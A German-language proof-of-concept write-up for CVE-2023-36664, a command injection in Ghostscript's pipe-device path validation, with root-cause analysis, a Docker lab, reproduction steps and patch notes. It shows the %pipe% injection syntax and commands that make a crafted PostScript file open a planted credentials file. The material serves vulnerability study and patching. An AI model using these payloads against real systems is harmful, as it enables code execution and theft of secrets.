
Proof-of-Concept-Exploit für CVE-2023-36664, eine Command Injection-Schwachstelle in Ghostscript. Enthält eine Docker-Lab-Umgebung, detaillierte Analyse der Pipe-Validierungs-Umgehung und eine Schritt-für-Schritt-Reproduktionsanleitung.
CVE-ID: CVE-2023-36664
Produkt: Ghostscript (< 10.01.2)
Schwachstellentyp: Remote Code Execution (RCE)
Diese Schwachstelle (CVE-2023-36664) ist eine Schwachstelle zur Ausführung beliebigen Codes (RCE), die dadurch entsteht, dass Ghostscript die Pfadberechtigungsprüfung für Pipe-Geräte (%pipe% oder |-Präfix) unzureichend handhabt.
Durch manipulierte Dokumentdateien (PS/EPS), die von einem Angreifer böswillig erstellt wurden, können bei der Analyse oder Verarbeitung durch das System ohne Autorisierung beliebige Systembefehle ausgeführt werden.
Hauptaufgabe: Es liest im Wesentlichen textbasierte Grafikkoordinatencodes (z. B. „Zeichne eine Linie an Position 100 200“) und wandelt sie in Bilddateien um, die wir auf einem Monitor oder für den Druckerausgabe sehen können.
Eine Pipe verbindet die Ausgabe einer Anwendung mit der Eingabe einer anderen und ermöglicht so die Kommunikation zwischen Software. Im Befehl wird sie durch das Symbol | dargestellt.
Beispiel: cat /etc/hosts | grep localhost
cat-Befehl extrahiert, werden über die Pipe (|) direkt als Eingabe an den grep-Befehl weitergeleitet, der nur die Zeilen mit „localhost“ filtert.Wenn Ghostscript im abgesicherten Modus (-dSAFER) läuft, prüft es normalerweise streng die Dateipfade, um den Zugriff auf sensible Systemdateien oder die Ausführung externer Befehle zu verhindern.
Problem: Wenn ein Angreifer anstelle eines normalen Dateinamens präzise manipuliert einen Pipe-Gerätepräfix (%pipe% oder |) in den Pfad einfügt, erkennt die interne Berechtigungsprüfungslogik von Ghostscript diesen Präfix nicht richtig und lässt ihn als „sicheren Pfad“ oder „nicht prüfbar“ passieren.
Ergebnis: Der eigentlich herausgefilterte gefährliche Befehl umgeht die Prüfschleife.
Bösartige Dateiinjektion: Der Angreifer platziert im Inneren einer PostScript-Datei (.ps/.eps) Code wie (%pipe%bösartigerBefehl) (modus) file /DCTDecode filter.
Parsing und Fehlinterpretation: Ghostscript liest und verarbeitet die Datei und passiert die Berechtigungsprüfungsstufe (Wächter) fehlerfrei.
Weitergabe an die OS-Shell: Der geprüfte Befehlsstrom wird durch die Pipe-Gerätefunktion direkt an die interne Shell des Betriebssystems (z. B. sh unter Linux oder cmd unter Windows) weitergeleitet und mit den Backend-Berechtigungen ausgeführt.
Der gepatchte Code zeigt, dass zwei .c-Dateien geändert wurden:
base/gpmisc.cbase/gslibctx.cHier genügt es, gpmisc.c zu betrachten, um die Schwachstelle zu verstehen.

Der Kern dieser Schwachstelle liegt darin, dass spezielle Pfade wie %pipe% nicht korrekt von normalen Dateipfaden unterschieden und stattdessen als normale Pfade erkannt werden.
gp_file_name_reduceUm dies zu überprüfen, muss die Funktion zur Bereinigung von Dateipfaden betrachtet werden. In gpmisc.c übernimmt die Funktion gp_file_name_reduce(...) die Pfadbereinigung, die intern gp_file_name_combine() aufruft und das Ergebnis zurückgibt.
gp_file_name_reduce(const char *fname, uint flen, char *buffer, uint *blen) {
return gp_file_name_combine(fname, flen, fname + flen, 0, false, buffer, blen);
}
gp_file_name_combine() entfernt, wie der Name andeutet, unnötige relative Pfadausdrücke wie ./, // aus dem übergebenen Dateipfad.
Das Problem tritt hier auf: Wenn dieser Funktion nicht ein normaler Dateipfad, sondern eine spezielle Zeichenkette wie %pipe% übergeben wird, die die Ausführung von Befehlen auslöst, erkennt die Funktion dies nicht als gültiges Pfadmuster und gibt die ursprüngliche Zeichenkette unverändert zurück.
gp_validate_path_len
gp_validate_path_len(...) ruft intern gp_file_name_reduce() zur Pfadprüfung auf. Dabei existiert keine separate Prüflogik, die unterscheidet, ob der Eingabewert ein normaler Dateipfad oder eine befehlsausführende Syntax wie %pipe% ist.
Infolgedessen wird die Zeichenkette mit %pipe% ohne Filterung durchgelassen – das ist die Grundursache dieser Schwachstelle.
Wenn daher eine Zeichenkette wie %pipe%touch /tmp/pwned als Dateipfad übergeben wird, möchte der Benutzer lediglich eine Bilddatei rendern, aber tatsächlich wird der Befehl touch /tmp/pwned ausgeführt, was zur Erstellung der Datei /tmp/pwned führt.
┌─────────────────────────────────┐
│ Docker Container │
│ (Ubuntu 22.04 + Ghostscript) │
│ │
│ /home/test/ ← Arbeitsverzeichnis
│ ├── poc.py ← PoC-Erstellungsskript
│ | |
│ └── /var/www/html/config.php ← Sensible Informationen
│ │
│ User: test (nicht root) │
│ Ghostscript: 10.01.1 (anfällig)│
└─────────────────────────────────┘
Hier wurde ein normales Benutzerkonto statt root gewählt, da reale Produktionsserver aus Sicherheitsgründen in der Regel nicht direkt mit root-Konten arbeiten. Um die Angriffssituation auf einem realen Server möglichst genau nachzubilden, wurde die Umgebung auf Basis eines normalen Benutzerkontos konfiguriert.
version: '3.8'
services:
gs-lab:
build: .
container_name: cve_lab
network_mode: "host"
environment:
- DISPLAY=${DISPLAY}
volumes:
- /tmp/.X11-unix:/tmp/.X11-unix:ro
- ./poc.py:/home/test/poc.py
stdin_open: true
tty: true
DISPLAY=${DISPLAY}: Übergibt die Umgebungsvariable, damit GUI-Anwendungen im Container auf den X11-Display-Server des Hosts zugreifen können./tmp/.X11-unix:/tmp/.X11-unix:ro: Mountet den Unix-Socket für die Kommunikation zwischen dem X11-Display-Server des Hosts und dem Container../poc.py:/home/test/poc.py: Mountet das lokale PoC-Skript des Hosts in die Ausführungsumgebung des Containers.FROM ubuntu:22.04
RUN apt update && \
apt install -y \
wget \
build-essential \
gedit \
python3 \
sudo && \
rm -rf /var/lib/apt/lists/*
RUN wget https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs10011/ghostscript-10.01.1.tar.gz && \
tar -xzf ghostscript-10.01.1.tar.gz
WORKDIR /ghostscript-10.01.1
RUN ./configure && \
make && \
make install
RUN mkdir -p /var/www/html && \
echo "DB_PASSWORD=SuperSecret1234!!!" > /var/www/html/config.php
RUN useradd -m -s /bin/bash test
WORKDIR /home/test
USER test
CMD ["/bin/bash"]
Für die grundlegende PoC-Umgebung werden benötigt: wget zum Herunterladen der anfälligen Ghostscript-Version, build-essential zum Installieren der Quellen nach dem Entpacken des tar.gz, gedit (Editor), der bei der .ps-Ausführung böswillig geöffnet werden soll, usw.
Die anfällige Ghostscript-Version 10.01.1 wurde aus dem Git-Quellcode heruntergeladen und installiert. RUN ./configure && \ make && \ make install wurde gemäß der im heruntergeladenen Quellverzeichnis enthaltenen Anleitung ausgeführt.
Normalerweise befinden sich in /var/www/html/config.php die wichtigsten Konfigurationswerte einer Webanwendung, z. B. Datenbankname und Passwort.
Daher wird willkürlich eine Datei config.php erstellt, unter der Annahme, dass ein DB-Passwort erbeutet wird.
Da das PoC mit einem normalen Benutzerkonto (test) statt root durchgeführt werden soll, wird ein neuer Benutzer angelegt.
# Docker-Image erstellen
docker compose -f docker-compose.yml up -d
# Container ausführen
docker exec -it cve_lab bash
Im Container:

python3 poc.py -p "gedit /var/www/html/config.php" -m r -f test
Ergebnis:

Man sieht, dass der eingegebene bösartige Pfad gut in der .ps-Datei enthalten ist.
gs -dNOSAFER test.ps

gedit öffnet sich automatisch und zeigt den Inhalt von /var/www/html/config.php an.
DB_PASSWORD=SuperSecret1234!!!

Es sollte ein Update auf Ghostscript 10.01.2 oder neuer durchgeführt werden, in dem die Schwachstelle offiziell behoben wurde.
Im offiziellen Patch wurde eine Logik hinzugefügt, die vor dem Aufruf von gp_file_name_reduce() in der Funktion gp_validate_path_len() eine Prüfung durchführt.
Ausnahmebehandlung und Erzwingung der Blockierung von Pipe-Sonderzeichenketten: Es wurde eine Verzweigung hinzugefügt, die Eingaben, die mit dem Präfix %pipe% oder dem Symbol | beginnen, separat und vollständig erkennt.
Offizielle Patch-Version: https://github.com/ArtifexSoftware/ghostpdl/commit/5f56c6f6f989816fc9cc671116740acecbed5b6c